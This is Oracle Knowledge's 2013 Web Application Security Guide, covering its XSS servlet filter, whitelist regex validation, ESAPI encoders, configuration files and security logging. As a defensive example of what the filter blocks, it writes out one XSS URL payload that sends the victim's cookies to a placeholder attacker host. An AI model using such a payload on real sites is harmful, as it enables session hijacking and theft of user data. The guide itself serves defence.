Oracle Knowledge
Web Application Security Guide

Release 8.5.1

Document Number OKPF-WASC851-00

June, 2013

COPYRIGHT INFORMATION

Contents

Preface About This Guide **1**
In This Guide 1
Examples of Product Screens and Text 1
Operating System Variations in Examples and Procedures 1
References to Web Content 2

Oracle Knowledge Web Application Security Overview 3
White List Parameter Validation 3
URL Encryption 4
Web Application Security Configuration Files 4
Customizing the REGEX Patterns (validation.properties) 4
Customizing the White List (inquira_whitelist.properties) 5
Customizing the ESAPI Encoder (inquira_esapi.properties) 6
Customizing OWASP ESAPI (ESAPI.properties) 7
Customizing Error Handling Behavior (securityhandlermap.properties) . . 7
Error Logging 8
Configuration File Locations 8

PREFACE

About This Guide

The Oracle Knowledge Web Application Security features described in this guide are designed to improve the overall security capabilities of the Oracle Knowledge web applications:

- InfoCenter
- iConnect, including iConnect for Siebel Contact Center and iConnect for Oracle CRM OnDemand
- Self-Service Portal (SSP)

The security enhancements are designed specifically to protect against cross-site scripting (XSS) attacks by utilizing an updated XSS servlet filter to ensure that all HTTP request parameters are properly validated and safe. The XSS filter provides white list parameter validation where the user-provided data is checked against a set of rules that describe a set of tightly constrained known good values. Any data that does not match will be rejected. The parameter validation rules can be customized through a properties file. The XSS filter also provides security logging for intrusion detection.

The Oracle Knowledge Web Application Security framework integrates the OWASP Enterprise Security API (ESAPI) framework, an industry tested security framework that is designed to apply standardized best practices for properly encoding and escaping untrusted data prior to use.

This preface includes information on:

- **In This Guide**
- **Examples of Product Screens and Text**
- **Operating System Variations in Examples and Procedures**
- **References to Web Content**

In This Guide

The Oracle Knowledge Web Application Security Guide is divided into the following sections:

"Oracle Knowledge Web Application Security Overview"	This section describes Oracle Knowledge Web Application Security features.

Examples of Product Screens and Text

The product screens, screen text, and file contents depicted in the documentation are examples. We attempt to convey the product's appearance and functionality as accurately as possible; however, the actual product contents and displays may differ from the published examples.

Operating System Variations in Examples and Procedures

We generally use Linux screen displays and naming conventions in our examples and procedures. We include other operating system-specific procedures or steps as noted in section headings, or within topics, as appropriate.

We present command syntax, program output, and screen displays:

- in Linux format first
- in other Unix-specific variants only when necessary for proper operation or to clarify functional differences
- in Windows format only when necessary for clarity

References to Web Content

For your convenience, this guide refers to Uniform Resource Locators (URLs) for resources published on the World Wide Web, when appropriate. We attempt to provide accurate information; however, these resources are controlled by their respective owners and are therefore subject to change at any time.

CHAPTER 1

Oracle Knowledge Web Application Security Overview

The Oracle Knowledge Web Application Security features described in this guide are designed to improve the overall security capabilities of the Oracle Knowledge web applications:

- InfoCenter
- iConnect, including iConnect for Siebel Contact Center and iConnect for Oracle CRM OnDemand
- Self-Service Portal (SSP)

The security enhancements are designed specifically to protect against cross-site scripting (XSS) attacks by utilizing an updated XSS servlet filter to ensure that all HTTP request parameters are properly validated and safe. The XSS filter provides white list parameter validation where the user-provided data is checked against a set of rules that describe a set of tightly constrained known good values. Any data that does not match will be rejected. The parameter validation rules can be customized through a properties file. The XSS filter also provides security logging for intrusion detection.

The Oracle Knowledge Web Application Security framework integrates the OWASP Enterprise Security API (ESAPI) framework, an industry tested security framework that is designed to apply standardized best practices for properly encoding and escaping untrusted data prior to use.

White List Parameter Validation

White list parameter validation involves checking data against a set of tightly constrained set of rules to allow only known good values to be entered. The white list parameter validation rules consist of regex patterns defining allowable characters and strings for HTTP request parameter. In addition, the whitelist specifies the maximum number of characters allowed for the field, whether the field can be nullable or blank, and a brief description of the data that should be passed in the field. Using these defined rules prevents attackers from entering scripts into fields which might result in XSS attacks.

For example, a user may attempt to modify an InfoCenter URL parameter in the browser to:

```
http://myhost:8226/InfoCenter/index?page='><script>document.location='http://
www.hacker.com/cgi-bin/stealinginfo.cgi?' %20+document.cookie</script>
```

The Oracle Knowledge XSS servlet filter validates the data being passed in the page parameter against the REGEX expression to see if it matches. It detects the XSS attack, raises a JSP exception, displays an error message, and logs a detailed error message to a security audit file.

Web Application Security framework provides an Oracle Knowledge-specific method to test a request parameter utilizing the ESAPI white list validation mechanism. This test performs the following steps:

1. Compares the request parameter to a white list regex pattern stored in the ESAPI validation.properties file. The validation covers the following parameters:
   - The regex pattern specified to validate the data.
   - The maximum allowed length of the parameter.
   - Whether the parameter is allowed to be null.
2. If the parameter passes the white list validation, the data is decoded so it does not include any escaped/encoded characters.
3. If the parameter fails white list verification, the test raises a JSP exception, the browser displays an error message and a detailed error message is logged.

URL Encryption

Web Application Security framework provides encryption for plain text in the URLs to prevent attackers from providing different URLs, in an attempt to thwart phishing and XSS attacks. This affects all forms with success and error URLs as well as search results that come back with URLs in the hyperlink.

If there is a need to pass additional information to the underlying URL, the URL must be decrypted first, add the parameter, and then re-encrypt the URL before the subsequent page is loaded.

The encryption/decryption code must be from com.inquira.foundation.utilities.CVEncryption (imfoundation.jar)

- public static String encryptUrl(String str)
- public static String decryptUrl(String str)

Web Application Security Configuration Files

There are several configuration files that can be customized that control the operation of the Oracle Knowledge Web Application Security framework. These files are located in the `WEB-INF/classes` folder of each deployed web application. The changes should be performed on a single copy and then copied to the remaining instances of all of the deployed web applications. Failure to copy the changes made to all deployed web applications could lead to inconsistent and/or intermittent problems that can be difficult to diagnose and correct.

Customizing the REGEX Patterns (validation.properties)

The Oracle Knowledge Web Application Security framework uses regular expressions (REGEX) to compare incoming data against a list of allowable characters. These REGEX patterns are assigned to each parameter in the `inquira_whitelist.properties` file. A REGEX pattern can be shared across many request parameters. If a REGEX pattern is changed it affects ALL request parameters that use the same REGEX pattern.

Important! The list of REGEX patterns is located in the `WEB-INF/classes/resources/validation.properties` file. **Do not modify this file.** If changes are required to any REGEX pattern, place the updated patterns in a new file in the same directory called `validation_custom.properties`. These REGEX patterns will override the original patterns provided by Oracle Knowledge. Any new patterns defined for a customer should also be added to this file.

The format of the entry in the `validation.properties` file is:

```
Validator.KEY=REGEX
```

where

`KEY` = the name of the REGEX pattern in the `inquira_whitelist.properties` file (the key must be prefaced with `Validator`.)

`REGEX` = the actual REGEX pattern to be used to validate the string.

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Customizing the White List (inquira_whitelist.properties)

The list of HTTP request parameters secured by the Oracle Knowledge web application security framework is stored in the `WEB-INF/classes/resources/inquira_whitelist.properties` file. Each line of the file contains a separate request parameter in the format:

```
KEY=REGEX;MAXLENGTH;ALLOWSNULL;DESCRIPTION;[VALIDATEORENCODE];[ISINPUT];
[ENABLECHANGED];[ISCANONICALIZE]
```

The following table describes each of the parameters:

Parameter	Description
`KEY`	An HTTP Request parameter that is being validated.
`REGEX`	A reference to the REGEX expression stored in the validation.properties file.
`MAXLENGTH`	A numeric value for the maximum size of the field (must include size in bytes for double byte characters, if appropriate).
`ALLOWSNULL`	A boolean (true|false) indicating whether the parameter can be null.
`DESCRIPTION`	A description of what data the parameter contains.
`VALIDATEORENCODE`	A switcher to specify how to handle the validation, valid values are: • validate (do original validate), • encode (encode the input value; if encode fails, return null), • none (do nothing, skip the validation handle). The default value is validate.
`ISINPUT`	A boolean (true|false) value indicating whether the parameter value is from user input. The default value is false.
`ISCANONICALIZE`	A boolean (true|false) value indicating whether the parameter is going to be canonicalized. The default value is true.

The `inquira_whitelist.properties` file provided with the default installation should not be changed. Any customizations required should be placed in a new file called `inquira_whitelist_custom.properties` located in the same directory as the original `inquira_whitelist.properties` file. This makes it easier to upgrade to newer versions in the future. If a property needs to be changed or new parameters added - place them in the custom property file. Those properties override the existing properties of the same name. For example, the custom property file would be necessary for content contribution fields where rich text entries are allowed.

Custom applications that use different request parameters should create an entry in this file for every request parameter. If the parameter is missing from this file a security exception will be flagged and the user will receive an error message, similar to the following:

```
129513094 [http-8226-Processor19] WARN InfoCenter:IntrusionDetector  -
```

```
[SECURITY FAILURE Anonymous:null@unknown -> /InfoCenter/IntrusionDetector]
Invalid input: context=XMLATTRIBUTE:KB_ARTICLE/KB_SUMMARY,
type(DefaultValidator)=^[\p{ L}\p{ P}\p{ N}\p{ SO}\p{ SC}\s+%26&=&amp%\\\-|]+$,
input=<p>test</p>

org.owasp.esapi.errors.ValidationException:
XMLATTRIBUTE\x3AKB_ARTICLE\x2FKB_SUMMARY: Invalid input. Please conform to
regex ^[\p{ L}\p{ P}\p{ N}\p{ SO}\p{ SC}\s+%26&=&amp%\\\-|]+$ with a maximum
length of 100000000
```

To resolve this issue, create the WEB-INF/classes/resources/inquira_whitelist_custom.properties file and add an entry to this file for each required rich text entry field for each content channel that content contributions are allowed. Using the example above the following entry must be added:

```
xmlattribute\:KB_ARTICLE/KB_SUMMARY=UnicodeString3;1000;true;content
contribution;encode
```

Where

`xmlattribute\:KB_ARTICLE/KB_SUMMARY`	is the field name of the rich text editor field that is required (can be found when viewing the source of the HTML page). Notice the escaped forward slash.
`UnicodeString3`	is the REGEX pattern used to validate the string, stored in the `validation.properties` file.
`1000`	is the maximum length the value can be.
`true`	indicates whether this value can be null or not (if the parameter is present).
`content contribution`	is a description of what the field is used for
`encode`	indicates that the contents of this field be safely encoded, rather than validated, to ensure that all content is stored safely.

Important! After restarting, you should be able to save content contributions properly for all channels that have rich text editors.If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Customizing the ESAPI Encoder (inquira_esapi.properties)

The Oracle Knowledge Web Application Security framework contains an Oracle Knowledge-specific encoder class that extends the OWASP ESAPI default encoder to provide the ability to disable various encoder methods without having to remove them from the source code. This can be helpful if it becomes necessary to turn off a specific type of validation due to performance issues under load. In general all of the ESAPI encoders are enabled by default and should be used where appropriate in web applications. The `HTMLEncoder()` is currently being used by the Oracle Knowledge Web Application Security Framework and should not be disabled.

Important! This property file is located at `WEB-INF/classes/resources/inquira_esapi.properties`. **Do not modify this file.** Customization must be added to a new file called `inquira_esapi_custom.properties` located in the same folder.

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Enabled/disabled the following methods in the `inquira_esapi.properties` configuration file:

Method	Default Setting*
`HTMLAttributeEncoder`	False
`HTMLEncoder`	False
`CSSEncoder`	False
`DNEncoder`	False
`JavaScriptEncoder`	False
`LDAPEncoder`	False
`OSEncoder`	False
`SQLEncoder`	False
`URLEncoder`	False
`XMLEncoder`	False
`XMLAttributeEncoder`	False
`XPathEncoder`	False

*. Setting any property to **True** disables the provided encoding.

Customizing OWASP ESAPI (ESAPI.properties)

The OWASP ESAPI framework provides a number of configuration options that control the behavior of the ESAPI framework. The `WEB-INF/classes/resources/ESAPI.properties` file contains the default values for the deployed web application. Any changes made to this file MUST be propagated to all other deployed instances to ensure consistent behavior.

The `ESAPI.properties` file contains settings that control how logging is performed, intrusion detection thresholds, and a number of other properties. Complete documentation for this file is located at

`http://www.owasp.org/index.php/ESAPI_Overview#ESAPI.properties`

Customizing Error Handling Behavior (securityhandlermap.properties)

The Oracle Knowledge Web Application Security Framework provides several options for handling errors caused by security violations. The configuration for the error handling is stored in `WEB-INF\classes\securityhandlermap.properties` file. The default values provided by Oracle Knowledge are:

- system.default=detail
- system.action=detail
- system.page=detail

The format of the entries are:

`<SCOPE> = <ERROR HANDLER>`

There are three types of error handling possible.

- detail = this is default handler type. If a security error occurs return to the previous page and display an error dialog
- general = if a security error occurs return to the default error page in the application - index?page=error

- custom = If a security error occurs, use a customized error handling mechanism. Instructions are provided in /apps/infocenter/system/components/security/errorinfo.jsp. Add an additional attribute to the `<IM:sitemap>` tag called securityhandler=custom. There should only be one of these custom security handlers per web application. Example sitemap tag: `<IM:sitemap pagenme="securityerror" securityhandler='custom"/>`

In addition to the specific types of error handling, the scope of the error handling can be controlled. The valid scopes for error handling are:

- system.default = if nothing is configured for specific types of scopes this value is used for all requests.
- system.action = the type of error handler that will be used for FORM actions
- system.page = the type of error handler that will be used for standard JSP page requests
- page.<pagename> = the type of error handler that will be used for the specified pagename (IM:sitemap pagename value)
- action.<actionname> = the type of error handler that will be used for the specified FORM action. This is the value that is used in the hidden FORM field

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Error Logging

The Oracle Knowledge Web Application Security framework maintains an error log file dedicated to security. Whenever parameter validation fails in InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP, Web Security logs an error message to the security error log file. The error message contains the following information:

- The name of the web application (InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP).
- The name of the parameter.
- The value entered by the user.
- The reason for the failure (null value not allowed, parameter length exceeds the maximum length, or does not pass the regex pattern). If the failure is due to the regex pattern, the regex pattern used for the validation is logged.
- The userid, if available. If the userid is not available, then the log records “unregistered user”.

The log file is written to the location specified in the `WEB-INF/classes/resources/ESAPI.properties Logger.LogFileName` property. The value would be a full directory path for the location of the security log file to be written. Each deployed instance of a web application should create a unique log file to avoid overwriting log entries. The default error log file location is:

```
<IM_HOME>\logs\<Repository_REF>\InfoCenter\Security\
```

Configuration File Locations

The `validation.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `inquira_whitelist.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `inquira_esapi.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `securityhandlermap.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\
```